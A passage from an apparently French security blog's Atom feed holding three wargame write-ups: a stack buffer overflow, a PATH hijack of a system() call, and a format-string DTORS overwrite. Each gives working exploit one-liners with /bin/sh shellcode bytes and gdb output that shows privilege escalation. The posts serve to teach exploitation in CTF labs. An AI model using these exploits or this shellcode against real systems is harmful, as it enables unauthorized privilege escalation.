  |  addresses&lt;/pre&gt;&lt;pre&gt;|                  |&lt;/pre&gt;&lt;pre&gt;|------------------|&lt;/pre&gt;&lt;pre&gt;|   (Initialized)  |&lt;/pre&gt;&lt;pre&gt;|        Data      |&lt;/pre&gt;&lt;pre&gt;|  (Uninitialized) |&lt;/pre&gt;&lt;pre&gt;|------------------|&lt;/pre&gt;&lt;pre&gt;|                  |&lt;/pre&gt;&lt;pre&gt;|       Stack      |  higher&lt;/pre&gt;&lt;pre&gt;|                  |  memory&lt;/pre&gt;&lt;pre&gt;\------------------/  addresses&lt;/pre&gt;&lt;br /&gt;Ce schéma ci-dessus (pompé sur le net) représente en gros la position de la pile.&lt;br /&gt;Ce schéma ci-dessous (pompé sur le net) représente la position de notre buffer dans la pile.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;bottom of                                                            top of&lt;br /&gt;memory                                                               memory&lt;br /&gt;                  buffer            sfp   ret   *str&lt;br /&gt;&amp;lt;------          [                ][    ][    ][    ]&lt;br /&gt;&lt;br /&gt;top of                                                            bottom of&lt;br /&gt;stack                                                                 stack&lt;/pre&gt;&lt;br /&gt;Que ce passe-t-il donc quand le buffer déborde ? Ben c'est facile, il écrase à peut près tout sur son passage. &lt;br /&gt;C'est à dire ? Si on contrôle ce dépassement on peut faire à peut près ce qu'on veut du programme faillible.&lt;br /&gt;Bon...Je lance gdb pour vous montrer un peu à quoi ressemble un buffer qui déborde :&lt;br /&gt;&lt;br /&gt;&amp;nbsp;level3@narnia:/wargame$ gdb -q ./level3&lt;br /&gt;Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".&lt;br /&gt;(gdb) disas main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x08048459 &amp;lt;main+85&amp;gt;:&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x4,%eax&lt;br /&gt;0x0804845c &amp;lt;main+88&amp;gt;:&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; (%eax),%eax&lt;br /&gt;0x0804845e &amp;lt;main+90&amp;gt;:&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,0x4(%esp)&lt;br /&gt;0x08048462 &amp;lt;main+94&amp;gt;:&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xffffff78(%ebp),%eax&lt;br /&gt;0x08048468 &amp;lt;main+100&amp;gt;:&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,(%esp)&lt;br /&gt;0x0804846b &amp;lt;main+103&amp;gt;:&amp;nbsp; call&amp;nbsp;&amp;nbsp; 0x804833c &amp;lt;strcpy@plt&amp;gt;&amp;nbsp; ====&amp;gt; BP sur strcpy&lt;br /&gt;0x08048470 &amp;lt;main+108&amp;gt;:&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xffffff78(%ebp),%eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ====&amp;gt; BP juste après&lt;br /&gt;0x08048476 &amp;lt;main+114&amp;gt;:&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,0x4(%esp)&lt;br /&gt;0x0804847a &amp;lt;main+118&amp;gt;:&amp;nbsp; movl&amp;nbsp;&amp;nbsp; $0x804859c,(%esp)&lt;br /&gt;0x08048481 &amp;lt;main+125&amp;gt;:&amp;nbsp; call&amp;nbsp;&amp;nbsp; 0x804830c &amp;lt;printf@plt&amp;gt;&lt;br /&gt;0x08048486 &amp;lt;main+130&amp;gt;:&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x0,%eax&lt;br /&gt;0x0804848b &amp;lt;main+135&amp;gt;:&amp;nbsp; leave&lt;br /&gt;0x0804848c &amp;lt;main+136&amp;gt;:&amp;nbsp; ret&lt;br /&gt;0x0804848d &amp;lt;main+137&amp;gt;:&amp;nbsp; nop&lt;br /&gt;0x0804848e &amp;lt;main+138&amp;gt;:&amp;nbsp; nop&lt;br /&gt;0x0804848f &amp;lt;main+139&amp;gt;:&amp;nbsp; nop&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) b*main+103&lt;br /&gt;Breakpoint 1 at 0x804846b&lt;br /&gt;(gdb) b*main+108&lt;br /&gt;Breakpoint 2 at 0x8048470&lt;br /&gt;(gdb) r `python -c "print 'a'*200"`&amp;nbsp; ====&amp;gt; Lancement du binaire avec 200 "a" en paramètre&lt;br /&gt;Starting program: /wargame/level3 `python -c "print 'a'*200"`&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x0804846b in main ()&lt;br /&gt;(gdb) x/10x $esp&lt;br /&gt;0xbffff8e0:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffff900&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffffb1d&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00003638&lt;br /&gt;0xbffff8f0:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000000&lt;br /&gt;0xbffff900:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000000&amp;nbsp;&amp;nbsp; 0x00000000&lt;br /&gt;&lt;br /&gt;On peut voir que pour le moment le buffer est vide.&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Breakpoint 2, 0x08048470 in main ()&lt;br /&gt;(gdb) x/30x $esp&lt;br /&gt;0xbffff8e0:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffff900&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0xbffffb1d&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00003638&lt;br /&gt;0xbffff8f0:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x00000000&lt;br /&gt;0xbffff900:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&lt;br /&gt;0xbffff910:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&lt;br /&gt;0xbffff920:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&lt;br /&gt;0xbffff930:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&lt;br /&gt;0xbffff940:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&lt;br /&gt;0xbffff950:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x61616161&lt;br /&gt;(gdb) c&lt;br /&gt;Continuing.&lt;br /&gt;&lt;br /&gt;Voila, le buffer dépasse, et on se choppe un beau SIGFAULT&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x61616161 in ?? ()&lt;br /&gt;&lt;br /&gt;Maintenant, le but de l'exploitation va être de placer un shellcode dans le buffer&lt;br /&gt;et de sauter dessus.&lt;br /&gt;Durant le RET le programme va mettre le contenu du buffer au dessus de la pile dans&lt;br /&gt;EIP, donc il faut écraser EIP et le saved EIP, et remplacer ces 4 octets par une adresse de retour vers notre shellcode qui sera exécuté au moment du RET.&lt;br /&gt;En effet, Eip pointe vers la prochaine instruction à exécuter. &lt;br /&gt;Cependant il nous faut des infos : &lt;br /&gt;-la taille exacte du buffer&lt;br /&gt;-l'adresse de retour&lt;br /&gt;-la taille du shellcode à placer dans le buffer&lt;br /&gt;&lt;br /&gt;On sort gdb et on fait le calcul : EBP-ESP = taille du tableau.&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x0804846b in main ()&lt;br /&gt;(gdb) x/1x $esp&lt;br /&gt;0xbffff8e0:     0xbffff900&lt;br /&gt;(gdb) print $ebp&lt;br /&gt;$1 = (void *) 0xbffff988&lt;br /&gt;(gdb) print 0xbffff988-0xbffff900&lt;br /&gt;$2 = 136&lt;br /&gt;&lt;br /&gt;donc c'est 136 + 2 (EIP) + 2 (SEIP) soit 140&lt;br /&gt;&lt;br /&gt;Toujours avec gdb on essaie de trouver une nouvelle adresse de retour :&lt;br /&gt;&lt;br /&gt;(gdb) r `python -c "print 'a'*140"`&lt;br /&gt;Starting program: /wargame/level3 `python -c "print 'a'*140"`&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048470 in main ()&lt;br /&gt;(gdb) x/64x $esp&lt;br /&gt;0xbffff920:     0xbffff940      0xbffffb59      0x00000001      0x00003638&lt;br /&gt;0xbffff930:     0x00000000      0x00000000      0x00000000      0x00000000&lt;br /&gt;0xbffff940:     0x61616161      0x61616161      0x61616161      0x61616161&lt;br /&gt;0xbffff950:     0x61616161      0x61616161      0x61616161      0x61616161&lt;br /&gt;0xbffff960:     0x61616161      0x61616161      0x61616161      0x61616161&lt;br /&gt;0xbffff970:     0x61616161      0x61616161      0x61616161      0x61616161&lt;br /&gt;0xbffff980:     0x61616161      0x61616161      0x61616161      0x61616161&lt;br /&gt;0xbffff990:     0x61616161      0x61616161      0x61616161      0x61616161&lt;br /&gt;&lt;br /&gt;Ben on va essayer avec 0xbffff950 qui semble bien être au début du buffer mais qui laisse un peu de marge par rapport au tout début, on peut essayer avec d'autre adresses contenues dans le buffer.&lt;br /&gt;lançons nous dans l'exploitation :)&lt;br /&gt;&lt;br /&gt;[SHELLCODE de 22 octets]+[NOPS]*140-22+[ADR RET]&lt;br /&gt;&lt;br /&gt;level3@narnia:/wargame$ ./level3 `python -c "print '\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'+'\x90'*(140-22)+'\x50\xf9\xff\xbf'"`&lt;br /&gt;sh-3.1$ whoami&lt;br /&gt;level4&lt;br /&gt;&lt;br /&gt;Après il y'a d'autres manières de poutrer ce genres de failles, on peut placer un shellcode dans une var d'env pour pouvoir sauter dessus au moment du ret, ce qui est même mieux au final que mon exemple puisqu'on est pas limité par la taille du shellcode.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-3779731383198452624?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/3779731383198452624/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/stack-based-buffer-overflow.html#comment-form' title='9 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/3779731383198452624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/3779731383198452624'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/stack-based-buffer-overflow.html' title='Stack-Based Buffer Overflow'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-9102266605575877466</id><published>2011-01-07T09:18:00.000-08:00</published><updated>2011-01-07T09:20:36.184-08:00</updated><title type='text'>Race Condition Using System()</title><content type='html'>On continue sur les failles applicatives, avec cette fois-ci les race conditions&lt;br /&gt;avec la fonction system() qui est : LE MAL&lt;br /&gt;&lt;br /&gt;Si un jour vous êtes amené à développer sous Nux oubliez ce genres d'appel :&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;&amp;nbsp; system("ls /wargame/binary/binary2/.passwd");&lt;br /&gt;&amp;nbsp; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;C'est horrible. Car c'est très facile à exploiter.&lt;br /&gt;Une race condition c'est par exemple accéder à un fichier sans avoir les droits nécessaires pour l'ouvrir...&lt;br /&gt;Sauf si c'est un programme lancé avec les bon privilèges qui l'ouvre à notre place. &lt;br /&gt;Cet exemple est tiré d'un challenge sur root-me.org . Et il faut reconnaitre que l'épreuve est présente à peu près partout en début de chall applicatif, que ce soit intruded.net, smashthestack.org, root-me.org et j'en passe.&lt;br /&gt;&lt;br /&gt;System() ici, va se servir de $PATH pour accéder à la fonction "ls" donc logiquement /usr/local/bin...&lt;br /&gt;Mais si je crée un fichier ls dans un autre répertoire et si je fait pointer $PATH vers ce répertoire ?&lt;br /&gt;Ben System() va aller chercher le ls "corrompu"... Et ouai. System poutre le système si je puis dire.&lt;br /&gt;&lt;br /&gt;Exemple :&lt;br /&gt;&lt;br /&gt;binary1@wargame:~$ echo $PATH&lt;br /&gt;/usr/local/bin:/usr/bin:/bin:/usr/games&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //$PATH pointe actuellement sur /usr/bin&lt;br /&gt;binary1@wargame:~$ cd /tmp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;binary1@wargame:/tmp$ cat &amp;gt; ls&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //On change le ls en cat par exemple&lt;br /&gt;cat /wargame/binary/binary2/.passwd&lt;br /&gt;binary1@wargame:/tmp$ chmod 777 ./ls&lt;br /&gt;binary1@wargame:/tmp$ cd&lt;br /&gt;binary1@wargame:~$ export PATH="/tmp:$PATH"&amp;nbsp; //On fait pointer $PATH vers /tmp&lt;br /&gt;binary1@wargame:~$ echo $PATH&lt;br /&gt;/tmp:/usr/local/bin:/usr/bin:/bin:/usr/games&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Le changement est à présent effectué&lt;br /&gt;binary1@wargame:~$ ./level1&lt;br /&gt;!oPe96a/.s8d5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //aille&lt;br /&gt;&lt;br /&gt;Bon vous pouvez aussi constater aussi qu'il n'y a rien de neuf sous le soleil.&lt;br /&gt;C'est une faille extrêmement connue mais un rappel ne fait jamais de mal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-9102266605575877466?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/9102266605575877466/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/race-condition-using-system.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/9102266605575877466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/9102266605575877466'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/race-condition-using-system.html' title='Race Condition Using System()'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-3689016164983639640</id><published>2011-01-04T10:55:00.000-08:00</published><updated>2011-01-07T07:15:30.356-08:00</updated><title type='text'>Redirection du flux d'éxécution d'un programme via Format String</title><content type='html'>Décidément, je l'adore cette faille ^^ .&lt;br /&gt;Vu que j'ai fait un article dessus concernant la "lecture" de la pile,&lt;br /&gt;autant faire aussi le deuxième côté concernant l'exécution arbitraire d'un code malveillant, hein ?&lt;br /&gt;Parce-que les failles et les challenges c'est le bien. Et linux ben...Ça dépend. :)&lt;br /&gt;&lt;br /&gt;Je ne sais pas encore vraiment bien utiliser les formateurs présents dans printf, mais je peux présenter un exemple classique (encore) de la faille.&lt;br /&gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; int main(int argc, char* argv[])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (argc &amp;lt; 2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("plop ! Ça va ?\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(argv[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;Comme toujours, printf mal utilisée. La variable peut donc servir de formateur pour afficher ou modifier la pile.&lt;br /&gt;&lt;br /&gt;Le but, ici étant d'écrire un assez grand nombre d'octet dans la pile pour pouvoir aller vers notre shellcode l'exploitation se déroule à peut près comme un BoF.&lt;br /&gt;Ou encore on peut se servir soit de la GOT +2 ou de l'adresse de DTOR +2 pour pouvoir sauter sur un shellcode placé dans l'environnement.&lt;br /&gt;&lt;br /&gt;L'explication sera une mise en pratique sur un challenge existant sur la box behemoth d'intruded.net.&lt;br /&gt;Je pense que ça sera plus clair :)&lt;br /&gt;Voici nos droits :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ whoami&lt;/pre&gt;&lt;pre&gt;level4&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;Voici le binaire :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ /wargame/level4 &lt;br /&gt;Identify yourself: moi&lt;br /&gt;Welcome, moi&lt;/pre&gt;&lt;br /&gt;Voici la faille :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ /wargame/level4 &lt;br /&gt;Identify yourself:&amp;nbsp;%08x&lt;br /&gt;Welcome, 000000c8&lt;/pre&gt;&lt;br /&gt;Notre formateur est donc interprété par printf. Maintenant, il faut aussi connaître notre position dans la pile :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ (python -c 'print "AAAABBBB" . ".%08x"x15') | /wargame/level4&lt;br /&gt;Identify yourself: Welcome, &lt;br /&gt;AAAABBBB.000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.41414141.42424242.3830252e.30252e78.&lt;br /&gt;252e7838.2e783830.78383025.3830252e&lt;/pre&gt;&lt;br /&gt;On voit bien nos "A" et nos "B" à partir de la 8eme place (41 et 42) &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;$ gdb -q /wargame/level4&lt;br /&gt;Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".&lt;br /&gt;(gdb) x/x &amp;amp;__DTOR_END__&lt;br /&gt;0x8049598 &amp;lt;__DTOR_END__&amp;gt;: 0x00000000&lt;/pre&gt;&lt;br /&gt;Là, je récupère l'adresse de la section DTOR (0x8049598).&lt;br /&gt;Les programmes compilés avec le compilateur GNU C ont une section spéciale pour les destructeurs qui s'appelle DTOR qui sont appelés juste avant l'exit dès que le nettoyage est terminé.&lt;br /&gt;Seulement, à l'offset DTOR +4 Se trouve l'adresse des fonctions de destructions qui se terminent par une adresse NULL, il suffit alors de réécrire sur ce pointeur vide pour remplacer ce néant par l'adresse de notre shellcode. A l'exit du programme les fonctions de DTOR seront donc appelées; et avec elles, notre shellcode.&lt;br /&gt;&lt;br /&gt;Je vais utiliser un shellcode que j'utilise régulièrement pour ce genre d'épreuve :&lt;br /&gt;\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&lt;br /&gt;&lt;br /&gt;Il nous faut créer un EGG qui contiens notre shellcode :&lt;br /&gt;&lt;pre&gt;$ env -i EGG=`python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53&lt;br /&gt;\x89\xe1\xcd\x80'"`&lt;/pre&gt;&lt;br /&gt;L'adresse de cette variable dans cet environnement est en 0xbfffffdb et c'est sur cette adresse qu'il faudra exécuter le code malveillant. &lt;br /&gt;Seulement voila, voici le moment où il nous faut écraser l'adresse de DTOR&amp;nbsp; :&lt;br /&gt;&lt;pre&gt;0xbfff = 49151&lt;/pre&gt;&lt;pre&gt;0xffdb = 65499&lt;/pre&gt;&lt;pre&gt;65499 - 8(car on a déjà 8 bytes pour DTOR) = 65491&lt;/pre&gt;&lt;pre&gt;49151 (0xbfff) + 65536 (valeur max) = 0x1bfff&lt;/pre&gt;&lt;pre&gt;0x1bfff(total) - 0xffdb(déjà écrit) = 49188&lt;/pre&gt;Vu que %n écrit les caractères le précédent dans la pile et comme 0xbffffdb est un nombre trop grand pour&lt;br /&gt;être généré en une seule fois, on sépare l'adresse en deux fois 2 octets. &lt;br /&gt;&lt;br /&gt;maintenant qu'on a DTOR + [DTOR]+2 + 65491 bytes à écrire + emplacement dans le pile 1 + 49188 bytes à écrire + emplacement dans la pile 2 + la variable d'env&amp;nbsp; on peut se lancer dans l'exploitation :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;(python -c "print '\x98\x95\x04\x08\x9a\x95\x04\x08'+'%.65491u'+'%8\x24hn'+'%.49188u'+'%9\x24hn'";cat)&lt;/pre&gt;&lt;pre&gt;| env -i EGG=`python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'"` ./level4&lt;/pre&gt;&lt;pre&gt;0000000000000000000000000000000000000000000000000000000000000000000000&lt;/pre&gt;&lt;pre&gt;0000000000000000000000000000000000000000000000000000000000000000000000&lt;/pre&gt;&lt;pre&gt;0000000000000000000000000000000000000000000000000000000000000000000000&lt;/pre&gt;&lt;pre&gt;0000000000000000000000000000000000000000000000000000000000000000000000&lt;/pre&gt;&lt;pre&gt;0000000000000000000000000000000000000000000000000000000000000000000000&lt;/pre&gt;&lt;pre&gt;.....&lt;/pre&gt;&lt;pre&gt;0000000000000000000000000000000000000000000000000000000000003086877440&lt;/pre&gt;&lt;pre&gt;id&lt;br /&gt;uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4)&lt;/pre&gt;&lt;pre&gt;whoami&lt;/pre&gt;&lt;pre&gt;level5 &lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;Voila donc comment on s'élève en privilèges grâce à un simple printf mal utilisée.&lt;br /&gt;Maintenant on peut aussi utiliser la GOT (Global Offset Table). La technique d'exploitation reste à peu près la même, si ce n'est qu'il nous faut l'adresse d'une fonction utilisée par cette section. Personnellement je l'utilise quand DTOR est en read-only.&lt;br /&gt;&lt;br /&gt;Après il y'a d'autres techniques mais je voulais centrer mon article sur une des méthodes que j'affectionne :) .&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-3689016164983639640?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/3689016164983639640/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/redirection-du-flux-dexecution-dun.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/3689016164983639640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/3689016164983639640'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/redirection-du-flux-dexecution-dun.html' title='Redirection du flux d&apos;éxécution d&apos;un programme via Format String'/><author><name>Luc 